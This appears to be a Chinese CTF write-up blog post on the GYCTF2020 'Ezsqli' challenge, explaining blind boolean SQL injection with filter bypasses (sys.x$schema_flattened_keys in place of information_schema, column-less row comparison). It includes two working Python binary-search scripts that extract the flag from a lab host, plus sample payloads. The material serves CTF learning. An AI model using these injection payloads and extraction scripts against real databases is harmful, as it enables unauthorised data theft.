[GYCTF2020]Ezsqli

在这里插入图片描述
输个1'返回这个,继续测试

1&&1=1
1&&1=2
成功

n/direct/f988faa3f1df4a5db43f3ac0620787ec.png)

1&&if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>79,1,0)
不成功
1&&if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>79,1,0)
不成功,估计就是把information过滤了

id=1%26%26length(database())%3D21
测出来database21位
id=1%26%26ascii(substr((database())%2C1%2C1))%3D103
测出来第一位为g

写脚本
我写脚本的时候有两个问题就是

payload不要写成1%26%26length(database())%3D21
这种url编码的,python发包是起不到这样的作用的,必须写成原来的字符

在这里插入图片描述
不能这么写data,我之前写
在这里插入图片描述
是可以的,但是现在不行
最后我发现原来我少了个f,服了浪费这么多时间

sys.x$schema_flattened_keys
information被过滤,mysql.innodb也无法使用,只能用这个新搜到的
写法和这两个是一样的直接写就行
然后的话就是无列名注入了,但是也可以大胆猜,像这种直接猜flag是列名

import requests

url = "http://04768892-271e-4031-acb8-79e37ece9697.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i += 1
    low = 32
    high = 127

    while low < high:
        mid = (low + high) // 2

        # payload = f"1&&(ascii(substr((database()),{i},1))>{mid})"
        # payload = f"1&&(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),{i},1))>{mid})"
        # f1ag_1s_h3r3_hhhhh, users233333333333333
        payload = f"1&&(ascii(substr((select(group_concat(flag))from(f1ag_1s_h3r3_hhhhh)),{i},1))>{mid})"
        
        data = {
            'id': {payload}
        }
        r = requests.post(url=url, data=data)

        if "Nu1L" in r.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        flag += chr(low)
    else:
        break

    print(flag)

但是union都被过滤了,我们这说一个新姿势

ascii偏移无列名注入

在这里插入图片描述

((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))
两边查询的列数要相同,不然报错
那我们怎么查出字符呢,本地一下

在这里插入图片描述

如果第三列的第一个字符是d那么就会返回1否则返回0

在这里插入图片描述
那么已知为E什么时候会返回1呢
select (select 1,2,‘E’)>(select * from users limit 0,1);

在这里插入图片描述
在这里插入图片描述
确定第二列的首字母为f
在这里插入图片描述
在这里插入图片描述
测出第二字字母为l
然后我发现用字符写脚本的时候不能正确的给调回来,就是全是大写字母,于是用ascii但是这样子之后也不行,我们的比较注入就不能生效了
于是转个小写一样的

import time
import requests

url = "http://182e84dc-334e-4149-b9c4-dde094cd3127.node5.buuoj.cn:81/"
flag = ""
i = 0

while True:
    i += 1
    low = 32
    high = 127

    while low < high:
        s = flag  # 动态更新flag,一个一个摸索值
        mid = (low + high) // 2
        s += chr(mid)
        payload = f"1&&((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        # payload = f"1^((select 1,'{s}')<(select * from f1ag_1s_h3r3_hhhhh))^1"
        # payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        # print(payload)

        data = {
            'id': {payload}
        }

        time.sleep(0.015)
        r = requests.post(url=url, data=data)

        if "Nu1L" in r.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        flag += chr(low - 1)  # 实际字符减1才是我们需要的字符
    elif chr(low-1)=='~':
        break

    print("\r" + flag.lower(), end='')  # 动态输出flag在同一行

print()  # 打印一个换行,使得下一行内容不再覆盖在flag上面
  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值